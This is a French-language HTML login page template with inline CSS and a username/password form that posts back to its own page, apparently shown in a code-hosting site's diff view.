<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Connexion</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background: #f5f5f5;
|
||||
padding: 40px;
|
||||
}
|
||||
.card {
|
||||
max-width: 360px;
|
||||
margin: auto;
|
||||
background: #fff;
|
||||
padding: 30px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.1);
|
||||
}
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin: 10px 0;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
}
|
||||
input[type='submit'] {
|
||||
background: #007BFF;
|
||||
color: #fff;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
input[type='submit']:hover {
|
||||
background: #0056b3;
|
||||
}
|
||||
.error {
|
||||
color: red;
|
||||
margin-bottom: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="card">
|
||||
<h2>Connexion requise</h2>
|
||||
<p>Veuillez entrer vos identifiants pour accéder au service.</p>
|
||||
{% if error %}
|
||||
<div class="error">{{ error }}</div>
|
||||
{% endif %}
|
||||
<form method="post">
|
||||
<input type="text" name="username" placeholder="Nom d'utilisateur" required>
|
||||
<input type="password" name="password" placeholder="Mot de passe" required>
|
||||
<input type="submit" value="Se connecter">
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user